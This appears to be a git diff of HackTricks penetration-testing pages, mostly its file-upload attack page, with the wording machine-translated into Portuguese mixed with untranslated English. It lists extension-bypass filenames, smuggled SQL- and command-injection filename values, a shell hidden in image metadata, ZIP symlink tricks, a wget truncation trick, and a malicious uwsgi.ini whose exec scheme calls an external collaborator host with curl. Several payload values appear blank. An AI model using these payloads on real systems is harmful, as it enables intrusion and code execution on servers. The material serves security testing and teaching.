[**https://github.com/ambionics/wrapwrap**](https://github.com/ambionics/wrapwrap) **(can add suffixes)** ## Script completo ```python @@ -95,7 +96,7 @@ print(r.text) ``` ### Melhorias -O script anterior é limitado aos caracteres base64 necessários para aquele payload. Portanto, eu criei meu próprio script para **bruteforçar todos os caracteres base64**: +O script anterior está limitado aos caracteres base64 necessários para esse payload. Portanto, criei meu próprio script para **bruteforce all the base64 characters**: ```php conversions = { '0': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.1046.UCS2', @@ -253,6 +254,7 @@ find_vals($init); ## Mais Referências - [https://www.synacktiv.com/publications/php-filters-chain-what-is-it-and-how-to-use-it.html](https://www.synacktiv.com/publications/php-filters-chain-what-is-it-and-how-to-use-it.html) +- [A Arte do PHP: CTF‑born exploits and techniques](https://blog.orange.tw/posts/2025-08-the-art-of-php-ch/) {{#include ../../banners/hacktricks-training.md}} diff --git a/src/pentesting-web/file-upload/README.md b/src/pentesting-web/file-upload/README.md index 233c5dfb1..07e1cddb3 100644 --- a/src/pentesting-web/file-upload/README.md +++ b/src/pentesting-web/file-upload/README.md @@ -1,4 +1,4 @@ -# File Upload +# Upload de Arquivos {{#include ../../banners/hacktricks-training.md}} @@ -7,7 +7,7 @@ Outras extensões úteis: - **PHP**: _.php_, _.php2_, _.php3_, ._php4_, ._php5_, ._php6_, ._php7_, .phps, ._pht_, ._phtm, .phtml_, ._pgif_, _.shtml, .htaccess, .phar, .inc, .hphp, .ctp, .module_ -- **Trabalhando no PHPv8**: _.php_, _.php4_, _.php5_, _.phtml_, _.module_, _.inc_, _.hphp_, _.ctp_ +- **Working in PHPv8**: _.php_, _.php4_, _.php5_, .phtml_, .module_, .inc_, .hphp_, .ctp_ - **ASP**: _.asp, .aspx, .config, .ashx, .asmx, .aspq, .axd, .cshtm, .cshtml, .rem, .soap, .vbhtm, .vbhtml, .asa, .cer, .shtml_ - **Jsp:** _.jsp, .jspx, .jsw, .jsv, .jspf, .wss, .do, .action_ - **Coldfusion:** _.cfm, .cfml, .cfc, .dbm_ @@ -17,98 +17,98 @@ Outras extensões úteis: ### Bypass file extensions checks -1. Se aplicável, **verifique** as **extensões anteriores.** Teste-as também usando algumas **letras maiúsculas**: _pHp, .pHP5, .PhAr ..._ -2. _Verifique **adicionando uma extensão válida antes** da extensão de execução (use também as extensões anteriores):_ -- _file.png.php_ +1. Se aplicável, verifique as extensões anteriores. Teste-as também usando algumas letras maiúsculas: _pHp, .pHP5, .PhAr ..._ +2. Verifique **adicionar uma extensão válida antes** da extensão de execução (use as extensões anteriores também): +- _file.png.php_ - _file.png.Php5_ -3. Tente adicionar **caracteres especiais no final.** Você pode usar o Burp para **bruteforce** todos os **caracteres ascii** e **Unicode**. (_Note que você também pode tentar usar as **extensões** mencionadas anteriormente_) -- _file.php%20_ -- _file.php%0a_ -- _file.php%00_ -- _file.php%0d%0a_ -- _file.php/_ -- _file.php.\\_ -- _file._ -- _file.php...._ +3. Tente adicionar **caracteres especiais no final**. Você pode usar Burp para **bruteforcear** todos os caracteres **ascii** e **Unicode**. (Nota: você também pode tentar usar as **extensões** mencionadas anteriormente) +- _file.php%20_ +- _file.php%0a_ +- _file.php%00_ +- _file.php%0d%0a_ +- _file.php/_ +- _file.php.\\_ +- _file._ +- _file.php...._ - _file.pHp5...._ -4. Tente contornar as proteções **enganando o analisador de extensões** do lado do servidor com técnicas como **duplicar** a **extensão** ou **adicionar dados lixo** (**bytes nulos**) entre as extensões. _Você também pode usar as **extensões anteriores** para preparar um payload melhor._ -- _file.png.php_ -- _file.png.pHp5_ -- _file.php#.png_ -- _file.php%00.png_ -- _file.php\x00.png_ -- _file.php%0a.png_ -- _file.php%0d%0a.png_ +4. Tente contornar as proteções **enganando o parser de extensão** do lado do servidor com técnicas como **duplicação** da **extensão** ou **adicionando lixo** (bytes **null**) entre extensões. _Você também pode usar as extensões anteriores para preparar um payload melhor._ +- _file.png.php_ +- _file.png.pHp5_ +- _file.php#.png_ +- _file.php%00.png_ +- _file.php\x00.png_ +- _file.php%0a.png_ +- _file.php%0d%0a.png_ - _file.phpJunk123png_ -5. Adicione **outra camada de extensões** à verificação anterior: -- _file.png.jpg.php_ +5. Adicione **outra camada de extensões** no teste anterior: +- _file.png.jpg.php_ - _file.php%00.png%00.jpg_ -6. Tente colocar a **extensão exec antes da extensão válida** e reze para que o servidor esteja mal configurado. (útil para explorar configurações incorretas do Apache onde qualquer coisa com a extensão **_**.php**_**, mas **não necessariamente terminando em .php** executará código): +6. Tente colocar a **extensão executável antes** da extensão válida e reze para que o servidor esteja mal configurado. (útil para explorar misconfigurações do Apache onde qualquer coisa com extensão **.php**, mas **não necessariamente terminando em .php**, executará código): - _ex: file.php.png_ -7. Usando **NTFS alternate data stream (ADS)** no **Windows**. Nesse caso, um caractere de dois pontos “:” será inserido após uma extensão proibida e antes de uma permitida. Como resultado, um **arquivo vazio com a extensão proibida** será criado no servidor (por exemplo, “file.asax:.jpg”). Este arquivo pode ser editado posteriormente usando outras técnicas, como usar seu nome de arquivo curto. O padrão “**::$data**” também pode ser usado para criar arquivos não vazios. Portanto, adicionar um caractere de ponto após esse padrão também pode ser útil para contornar mais restrições (por exemplo, “file.asp::$data.”) -8. Tente quebrar os limites do nome do arquivo. A extensão válida é cortada. E o PHP malicioso é deixado. AAA<--SNIP-->AAA.php +7. Usando **NTFS alternate data stream (ADS)** no **Windows**. Neste caso, um caractere de dois pontos ":" será inserido depois de uma extensão proibida e antes de uma permitida. Como resultado, um **arquivo vazio com a extensão proibida** será criado no servidor (ex.: "file.asax:.jpg”). Esse arquivo pode ser editado mais tarde usando outras técnicas como seu short filename. O padrão "**::$data**” também pode ser usado para criar arquivos não vazios. Portanto, adicionar um caractere ponto após esse padrão pode ser útil para contornar restrições adicionais (ex.: "file.asp::$data.”) +8. Tente romper os limites de nome de arquivo. A extensão válida é cortada. E o PHP malicioso fica. AAA<--SNIP-->AAA.php ``` -# Linux máximo 255 bytes +# Linux maximum 255 bytes /usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 255 -Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4 # menos 4 aqui e adicionando .png -# Faça o upload do arquivo e verifique a resposta quantos caracteres ele permite. Vamos supor 236 +Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4 # minus 4 here and adding .png +# Upload the file and check response how many characters it alllows. Let's say 236 python -c 'print "A" * 232' AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA -# Faça o payload +# Make the payload AAA<--SNIP 232 A-->AAA.php.png ``` ### Bypass Content-Type, Magic Number, Compression & Resizing -- Contorne as verificações de **Content-Type** definindo o **valor** do **cabeçalho Content-Type** para: _image/png_, _text/plain_, application/octet-stream_ -1. Lista de palavras do Content-Type: [https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt](https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt) -- Contorne a verificação de **magic number** adicionando no início do arquivo os **bytes de uma imagem real** (confunda o comando _file_). Ou introduza o shell dentro dos **metadados**:\ +- Bypass checks de **Content-Type** definindo o **valor** do cabeçalho **Content-Type** para: _image/png_ , _text/plain , application/octet-stream_ +1. Content-Type **wordlist**: [https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt](https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt) +- Bypass de verificação de **magic number** adicionando no início do arquivo os **bytes de uma imagem real** (confundir o comando _file_). Ou introduza o shell dentro dos **metadados**:\ `exiftool -Comment="' >> img.png` -- Se **compressões estão sendo adicionadas à sua imagem**, por exemplo, usando algumas bibliotecas PHP padrão como [PHP-GD](https://www.php.net/manual/fr/book.image.php), as técnicas anteriores não serão úteis. No entanto, você pode usar a **técnica do chunk PLTE** [**definida aqui**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) para inserir algum texto que **sobreviva à compressão**. -- [**Github com o código**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_plte_png.php) -- A página da web também pode estar **redimensionando** a **imagem**, usando, por exemplo, as funções PHP-GD `imagecopyresized` ou `imagecopyresampled`. No entanto, você pode usar a **técnica do chunk IDAT** [**definida aqui**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) para inserir algum texto que **sobreviva à compressão**. -- [**Github com o código**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_idat_png.php) -- Outra técnica para criar um payload que **sobrevive a um redimensionamento de imagem**, usando a função PHP-GD `thumbnailImage`. No entanto, você pode usar a **técnica do chunk tEXt** [**definida aqui**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) para inserir algum texto que **sobreviva à compressão**. -- [**Github com o código**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_tEXt_png.php) +- Se **compressão** estiver sendo aplicada à sua imagem, por exemplo usando algumas bibliotecas padrão do PHP como [PHP-GD](https://www.php.net/manual/fr/book.image.php), as técnicas anteriores não serão úteis. No entanto, você pode usar o chunk **PLTE** [**técnica definida aqui**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) para inserir texto que **sobreviverá à compressão**. +- [**Github with the code**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_plte_png.php) +- A página web também pode estar **redimensionando** a **imagem**, usando por exemplo as funções PHP-GD `imagecopyresized` ou `imagecopyresampled`. Porém, você pode usar o chunk **IDAT** [**técnica definida aqui**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) para inserir texto que **sobreviverá à compressão**. +- [**Github with the code**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_idat_png.php) +- Outra técnica para criar um payload que **sobrevive a um redimensionamento de imagem**, usando a função PHP-GD `thumbnailImage`. Contudo, você pode usar o chunk **tEXt** [**técnica definida aqui**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) para inserir texto que **sobreviverá à compressão**. +- [**Github with the code**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_tEXt_png.php) ### Other Tricks to check -- Encontre uma vulnerabilidade para **renomear** o arquivo já enviado (para mudar a extensão). -- Encontre uma vulnerabilidade de **Inclusão de Arquivo Local** para executar o backdoor. +- Encontre uma vulnerabilidade para **renomear** o arquivo já enviado (para alterar a extensão). +- Encontre uma vulnerabilidade de **Local File Inclusion** para executar o backdoor. - **Possível divulgação de informações**: -1. Faça o upload **várias vezes** (e ao **mesmo tempo**) do **mesmo arquivo** com o **mesmo nome** -2. Faça o upload de um arquivo com o **nome** de um **arquivo** ou **pasta** que **já existe** -3. Faça o upload de um arquivo com **“.”, “..”, ou “…” como seu nome**. Por exemplo, no Apache no **Windows**, se a aplicação salvar os arquivos enviados no diretório “/www/uploads/”, o nome de arquivo “.” criará um arquivo chamado “uploads” no diretório “/www/”. -4. Faça o upload de um arquivo que pode não ser facilmente excluído, como **“…:.jpg”** no **NTFS**. (Windows) -5. Faça o upload de um arquivo no **Windows** com **caracteres inválidos** como `|<>*?”` em seu nome. (Windows) -6. Faça o upload de um arquivo no **Windows** usando **nomes reservados** (**proibidos**) como CON, PRN, AUX, NUL, COM1, COM2, COM3, COM4, COM5, COM6, COM7, COM8, COM9, LPT1, LPT2, LPT3, LPT4, LPT5, LPT6, LPT7, LPT8, e LPT9. -- Tente também **fazer o upload de um executável** (.exe) ou um **.html** (menos suspeito) que **executará código** quando acidentalmente aberto pela vítima. +1. Faça upload **várias vezes** (e ao **mesmo tempo**) do **mesmo arquivo** com o **mesmo nome** +2. Faça upload de um arquivo com o **nome** de um **arquivo** ou **pasta** que **já exista** +3. Fazer upload de um arquivo com **"." , "..” ou "…” como nome**. Por exemplo, no Apache em **Windows**, se a aplicação salvar os uploads em "/www/uploads/" a filename "." criará um arquivo chamado "uploads" em "/www/". +4. Faça upload de um arquivo que não possa ser deletado facilmente, como **"…:.jpg”** em **NTFS**. (Windows) +5. Faça upload de um arquivo no **Windows** com caracteres inválidos como `|<>*?”` no nome. (Windows) +6. Faça upload de um arquivo no **Windows** usando nomes reservados (**proibidos**) como CON, PRN, AUX, NUL, COM1, COM2, COM3, COM4, COM5, COM6, COM7, COM8, COM9, LPT1, LPT2, LPT3, LPT4, LPT5, LPT6, LPT7, LPT8, e LPT9. +- Tente também fazer upload de um executável (.exe) ou um **.html** (menos suspeito) que **executará código** quando acidentalmente aberto pela vítima. ### Special extension tricks -Se você está tentando fazer upload de arquivos para um **servidor PHP**, [dê uma olhada na **técnica .htaccess** para executar código](https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-web/php-tricks-esp/index.html#code-execution).\ -Se você está tentando fazer upload de arquivos para um **servidor ASP**, [dê uma olhada na **técnica .config** para executar código](../../network-services-pentesting/pentesting-web/iis-internet-information-services.md#execute-config-files). +Se você estiver tentando fazer upload de arquivos para um **PHP server**, [veja o truque do **.htaccess** para executar código](https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-web/php-tricks-esp/index.html#code-execution).\ +Se você estiver tentando fazer upload de arquivos para um **ASP server**, [veja o truque do **.config** para executar código](../../network-services-pentesting/pentesting-web/iis-internet-information-services.md#execute-config-files). Os arquivos `.phar` são como os `.jar` para java, mas para php, e podem ser **usados como um arquivo php** (executando-o com php, ou incluindo-o dentro de um script...) -A extensão `.inc` é às vezes usada para arquivos php que são apenas usados para **importar arquivos**, então, em algum momento, alguém pode ter permitido **que essa extensão fosse executada**. +A extensão `.inc` é às vezes usada para arquivos php que são apenas usados para **importar arquivos**, então, em algum ponto, alguém pode ter permitido **essa extensão ser executada**. ## **Jetty RCE** -Se você puder fazer upload de um arquivo XML em um servidor Jetty, poderá obter [RCE porque **novos \*.xml e \*.war são processados automaticamente**](https://twitter.com/ptswarm/status/1555184661751648256/photo/1)**.** Portanto, como mencionado na imagem a seguir, faça o upload do arquivo XML para `$JETTY_BASE/webapps/` e espere pelo shell! +Se você conseguir fazer upload de um arquivo XML em um servidor Jetty pode obter [RCE porque **novos \*.xml e \*.war são processados automaticamente**](https://twitter.com/ptswarm/status/1555184661751648256/photo/1)**.** Então, como mencionado na imagem abaixo, faça upload do arquivo XML para `$JETTY_BASE/webapps/` e espere a shell! ![https://twitter.com/ptswarm/status/1555184661751648256/photo/1](<../../images/image (1047).png>) ## **uWSGI RCE** -Para uma exploração detalhada dessa vulnerabilidade, verifique a pesquisa original: [uWSGI RCE Exploitation](https://blog.doyensec.com/2023/02/28/new-vector-for-dirty-arbitrary-file-write-2-rce.html). +Para uma exploração detalhada dessa vulnerabilidade confira a pesquisa original: [uWSGI RCE Exploitation](https://blog.doyensec.com/2023/02/28/new-vector-for-dirty-arbitrary-file-write-2-rce.html). -Vulnerabilidades de Execução Remota de Comando (RCE) podem ser exploradas em servidores uWSGI se alguém tiver a capacidade de modificar o arquivo de configuração `.ini`. Os arquivos de configuração do uWSGI utilizam uma sintaxe específica para incorporar variáveis "mágicas", marcadores de posição e operadores. Notavelmente, o operador '@', utilizado como `@(filename)`, é projetado para incluir o conteúdo de um arquivo. Entre os vários esquemas suportados no uWSGI, o esquema "exec" é particularmente potente, permitindo a leitura de dados da saída padrão de um processo. Esse recurso pode ser manipulado para fins nefastos, como Execução Remota de Comando ou Escrita/Leitura Arbitrária de Arquivo quando um arquivo de configuração `.ini` é processado. +Vulnerabilidades de Remote Command Execution (RCE) podem ser exploradas em servidores uWSGI se alguém tiver a capacidade de modificar o arquivo de configuração `.ini`. Arquivos de configuração uWSGI usam uma sintaxe específica para incorporar variáveis "mágicas", placeholders e operadores. Notavelmente, o operador '@', utilizado como `@(filename)`, é projetado para incluir o conteúdo de um arquivo. Entre os vários esquemas suportados no uWSGI, o esquema "exec" é particularmente potente, permitindo a leitura de dados da saída padrão de um processo. Esse recurso pode ser manipulado para fins maliciosos como Remote Command Execution ou Arbitrary File Write/Read quando um arquivo de configuração `.ini` é processado. -Considere o seguinte exemplo de um arquivo `uwsgi.ini` prejudicial, mostrando vários esquemas: +Considere o seguinte exemplo de um arquivo `uwsgi.ini` malicioso, mostrando vários esquemas: ```ini [uwsgi] ; read from a symbol @@ -126,14 +126,14 @@ extra = @(exec://curl http://collaborator-unique-host.oastify.com) ; call a function returning a char * characters = @(call://uwsgi_func) ``` -A execução do payload ocorre durante a análise do arquivo de configuração. Para que a configuração seja ativada e analisada, o processo uWSGI deve ser reiniciado (potencialmente após uma falha ou devido a um ataque de negação de serviço) ou o arquivo deve ser configurado para recarregar automaticamente. O recurso de recarga automática, se ativado, recarrega o arquivo em intervalos especificados ao detectar alterações. +A execução do payload ocorre durante a análise do arquivo de configuração. Para que a configuração seja ativada e analisada, o processo uWSGI deve ser reiniciado (potencialmente após um crash ou devido a um Denial of Service attack) ou o arquivo deve estar configurado para auto-reload. O recurso de auto-reload, se ativado, recarrega o arquivo em intervalos especificados ao detectar alterações. -É crucial entender a natureza flexível da análise do arquivo de configuração do uWSGI. Especificamente, o payload discutido pode ser inserido em um arquivo binário (como uma imagem ou PDF), ampliando ainda mais o escopo da exploração potencial. +É crucial entender a natureza permissiva da análise do arquivo de configuração do uWSGI. Especificamente, o payload discutido pode ser inserido em um arquivo binário (como uma imagem ou PDF), ampliando ainda mais o escopo de exploração potencial. -## **wget File Upload/SSRF Trick** +## **wget Upload de Arquivos/Truque SSRF** -Em algumas ocasiões, você pode descobrir que um servidor está usando **`wget`** para **baixar arquivos** e você pode **indicar** a **URL**. Nesses casos, o código pode estar verificando se a extensão dos arquivos baixados está dentro de uma lista de permissões para garantir que apenas arquivos permitidos sejam baixados. No entanto, **essa verificação pode ser contornada.**\ -O **comprimento máximo** de um **nome de arquivo** em **linux** é **255**, no entanto, **wget** trunca os nomes dos arquivos para **236** caracteres. Você pode **baixar um arquivo chamado "A"\*232+".php"+".gif"**, esse nome de arquivo irá **contornar** a **verificação** (já que neste exemplo **".gif"** é uma **extensão válida**) mas `wget` irá **renomear** o arquivo para **"A"\*232+".php"**. +Em algumas ocasiões você pode encontrar que um servidor está usando **`wget`** para **baixar arquivos** e em que você pode **indicar** a **URL**. Nesses casos, o código pode estar verificando se a extensão dos arquivos baixados está dentro de uma whitelist para assegurar que somente arquivos permitidos serão baixados. No entanto, **this check can be bypassed.**\ +O **comprimento máximo** de um **nome de arquivo** no **linux** é **255**, entretanto, o **wget** trunca os nomes de arquivo para **236** caracteres. Você pode **baixar um arquivo chamado "A"\*232+".php"+".gif"**, esse nome de arquivo irá **bypass** a **verificação** (pois, neste exemplo, **".gif"** é uma extensão **válida**), mas `wget` irá **renomear** o arquivo para **"A"\*232+".php"**. ```bash #Create file and HTTP server echo "SOMETHING" > $(python -c 'print("A"*(236-4)+".php"+".gif")') @@ -156,80 +156,85 @@ AAAAAAAAAAAAAAAAAAAAAAAAAAAAA 100%[============================================= 2020-06-13 03:14:06 (1.96 MB/s) - ‘AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php’ saved [10/10] ``` -Note que **outra opção** que você pode estar pensando para contornar essa verificação é fazer o **servidor HTTP redirecionar para um arquivo diferente**, assim a URL inicial contornará a verificação e o wget fará o download do arquivo redirecionado com o novo nome. Isso **não funcionará** **a menos que** o wget esteja sendo usado com o **parâmetro** `--trust-server-names`, porque **o wget fará o download da página redirecionada com o nome do arquivo indicado na URL original**. +Observe que **outra opção** que você pode estar pensando para contornar essa verificação é fazer o **servidor HTTP redirecionar para um arquivo diferente**, de modo que a URL inicial passe pela verificação e então o wget irá baixar o arquivo redirecionado com o novo nome. Isso **não vai funcionar** **a menos que** o wget esteja sendo usado com o **parâmetro** `--trust-server-names` porque **o wget irá baixar a página redirecionada com o nome do arquivo indicado na URL original**. -## Ferramentas +## Tools -- [Upload Bypass](https://github.com/sAjibuu/Upload_Bypass) é uma ferramenta poderosa projetada para ajudar Pentesters e Caçadores de Bugs a testar mecanismos de upload de arquivos. Ela aproveita várias técnicas de bug bounty para simplificar o processo de identificação e exploração de vulnerabilidades, garantindo avaliações completas de aplicações web. +- [Upload Bypass](https://github.com/sAjibuu/Upload_Bypass) é uma ferramenta poderosa projetada para auxiliar Pentesters and Bug Hunters na testagem de mecanismos de upload de arquivos. Ela utiliza várias técnicas de bug bounty para simplificar o processo de identificação e exploração de vulnerabilidades, garantindo avaliações completas de aplicações web. -## De upload de arquivo a outras vulnerabilidades +### Corrupting upload indices with snprintf quirks (historical) -- Defina **filename** como `../../../tmp/lol.png` e tente alcançar uma **traversal de caminho** -- Defina **filename** como `sleep(10)-- -.jpg` e você pode conseguir uma **injeção SQL** -- Defina **filename** como `` para conseguir um XSS -- Defina **filename** como `; sleep 10;` para testar alguma injeção de comando (mais [truques de injeção de comando aqui](../command-injection.md)) -- [**XSS** em upload de arquivo de imagem (svg)](../xss-cross-site-scripting/index.html#xss-uploading-files-svg) -- **JS** arquivo **upload** + **XSS** = [**exploração de Service Workers**](../xss-cross-site-scripting/index.html#xss-abusing-service-workers) -- [**XXE em upload de svg**](../xxe-xee-xml-external-entity.md#svg-file-upload) -- [**Redirecionamento Aberto** via upload de arquivo svg](../open-redirect.md#open-redirect-uploading-svg-files) -- Tente **diferentes payloads svg** de [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet) -- [Famosa vulnerabilidade **ImageTrick**](https://mukarramkhalid.com/imagemagick-imagetragick-exploit/) -- Se você puder **indicar ao servidor web para capturar uma imagem de uma URL**, você pode tentar abusar de um [SSRF](../ssrf-server-side-request-forgery/index.html). Se essa **imagem** for **salva** em algum site **público**, você também pode indicar uma URL de [https://iplogger.org/invisible/](https://iplogger.org/invisible/) e **roubar informações de cada visitante**. -- [**XXE e CORS** contornados com upload de PDF-Adobe](pdf-upload-xxe-and-cors-bypass.md) -- PDFs especialmente elaborados para XSS: A [seguinte página apresenta como **injetar dados PDF para obter execução de JS**](../xss-cross-site-scripting/pdf-injection.md). Se você puder fazer upload de PDFs, poderá preparar um PDF que executará JS arbitrário seguindo as indicações dadas. -- Faça upload do conteúdo \[eicar]\([**https://secure.eicar.org/eicar.com.txt**](https://secure.eicar.org/eicar.com.txt)) para verificar se o servidor possui algum **antivírus** -- Verifique se há algum **limite de tamanho** ao fazer upload de arquivos +Alguns legacy upload handlers que usam `snprintf()` ou similares para construir arrays multi-file a partir de um upload de arquivo único podem ser enganados a forjar a estrutura `_FILES`. Devido a inconsistências e truncamento no comportamento de `snprintf()`, um upload único cuidadosamente construído pode aparecer como múltiplos arquivos indexados no lado do servidor, confundindo lógica que assume um formato estrito (por exemplo, tratando-o como um upload multi-file e seguindo ramificações inseguras). Embora seja nicho hoje em dia, esse padrão de “index corruption” ocasionalmente ressurge em CTFs e codebases antigas. -Aqui está uma lista das 10 principais coisas que você pode alcançar fazendo upload (de [aqui](https://twitter.com/SalahHasoneh1/status/1281274120395685889)): +## De upload de arquivos para outras vulnerabilidades + +- Defina **filename** para `../../../tmp/lol.png` e tente conseguir um **path traversal** +- Defina **filename** para `sleep(10)-- -.jpg` e você pode conseguir uma **SQL injection** +- Defina **filename** para `` para conseguir um **XSS** +- Defina **filename** para `; sleep 10;` para testar alguma command injection (more [command injections tricks here](../command-injection.md)) +- [**XSS** in image (svg) file upload](../xss-cross-site-scripting/index.html#xss-uploading-files-svg) +- **JS** file **upload** + **XSS** = [**Service Workers** exploitation](../xss-cross-site-scripting/index.html#xss-abusing-service-workers) +- [**XXE in svg upload**](../xxe-xee-xml-external-entity.md#svg-file-upload) +- [**Open Redirect** via uploading svg file](../open-redirect.md#open-redirect-uploading-svg-files) +- Tente **different svg payloads** de [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet) +- [Famous **ImageTrick** vulnerability](https://mukarramkhalid.com/imagemagick-imagetragick-exploit/) +- Se você puder **indicar o web server para catch an image from a URL** você poderia tentar abusar de um [SSRF](../ssrf-server-side-request-forgery/index.html). Se essa **image** for **saved** em algum site **public**, você também poderia indicar uma URL de [https://iplogger.org/invisible/](https://iplogger.org/invisible/) e **steal information of every visitor**. +- [**XXE and CORS** bypass with PDF-Adobe upload](pdf-upload-xxe-and-cors-bypass.md) +- Specially crafted PDFs to XSS: The [following page present how to **inject PDF data to obtain JS execution**](../xss-cross-site-scripting/pdf-injection.md). Se você puder fazer upload de PDFs, você poderia preparar algum PDF que execute JS arbitrário seguindo as indicações dadas. +- Faça upload do \[eicar]\([**https://secure.eicar.org/eicar.com.txt**](https://secure.eicar.org/eicar.com.txt)) content para verificar se o servidor possui algum **antivirus** +- Verifique se há algum **size limit** ao fazer upload de arquivos + +Here’s a top 10 list of things that you can achieve by uploading (from [here](https://twitter.com/SalahHasoneh1/status/1281274120395685889)): 1. **ASP / ASPX / PHP5 / PHP / PHP3**: Webshell / RCE -2. **SVG**: XSS armazenado / SSRF / XXE -3. **GIF**: XSS armazenado / SSRF -4. **CSV**: injeção CSV +2. **SVG**: Stored XSS / SSRF / XXE +3. **GIF**: Stored XSS / SSRF +4. **CSV**: CSV injection 5. **XML**: XXE 6. **AVI**: LFI / SSRF -7. **HTML / JS** : injeção HTML / XSS / redirecionamento aberto -8. **PNG / JPEG**: ataque de inundação de pixels (DoS) +7. **HTML / JS** : HTML injection / XSS / Open redirect +8. **PNG / JPEG**: Pixel flood attack (DoS) 9. **ZIP**: RCE via LFI / DoS -10. **PDF / PPTX**: SSRF / XXE CEGADO +10. **PDF / PPTX**: SSRF / BLIND XXE + +#### Burp Extension -#### Extensão Burp {{#ref}} https://github.com/portswigger/upload-scanner {{#endref}} -## Bytes Mágicos de Cabeçalho +## Magic Header Bytes - **PNG**: `"\x89PNG\r\n\x1a\n\0\0\0\rIHDR\0\0\x03H\0\xs0\x03["` - **JPG**: `"\xff\xd8\xff"` Consulte [https://en.wikipedia.org/wiki/List_of_file_signatures](https://en.wikipedia.org/wiki/List_of_file_signatures) para outros tipos de arquivo. -## Upload de Arquivo Zip/Tar Automaticamente descompactado +## Zip/Tar File Automatically decompressed Upload -Se você puder fazer upload de um ZIP que será descompactado dentro do servidor, você pode fazer 2 coisas: +Se você puder fazer upload de um ZIP que será descomprimido no servidor, você pode fazer 2 coisas: ### Symlink -Faça upload de um link contendo links simbólicos para outros arquivos, então, acessando os arquivos descompactados você acessará os arquivos vinculados: +Faça upload de um arquivo que contenha soft links para outros arquivos; ao acessar os arquivos descomprimidos, você irá acessar os arquivos linkados: ``` ln -s ../../../index.php symindex.txt zip --symlinks test.zip symindex.txt tar -cvf test.tar symindex.txt ``` -### Decompress in different folders +### Descomprimir em diferentes pastas -A criação inesperada de arquivos em diretórios durante a descompressão é um problema significativo. Apesar das suposições iniciais de que essa configuração poderia proteger contra a execução de comandos em nível de SO por meio de uploads de arquivos maliciosos, o suporte à compressão hierárquica e as capacidades de travessia de diretórios do formato de arquivo ZIP podem ser explorados. Isso permite que atacantes contornem restrições e escapem de diretórios de upload seguros manipulando a funcionalidade de descompressão da aplicação alvo. +A criação inesperada de arquivos em diretórios durante a descompressão é um problema significativo. Apesar de suposições iniciais de que essa configuração poderia proteger contra execução de comandos a nível do SO através de uploads maliciosos, o suporte a compressão hierárquica e as capacidades de directory traversal do formato de arquivo ZIP podem ser exploradas. Isso permite que atacantes contornem restrições e escapem dos diretórios de upload protegidos manipulando a funcionalidade de descompressão da aplicação alvo. -Um exploit automatizado para criar tais arquivos está disponível em [**evilarc on 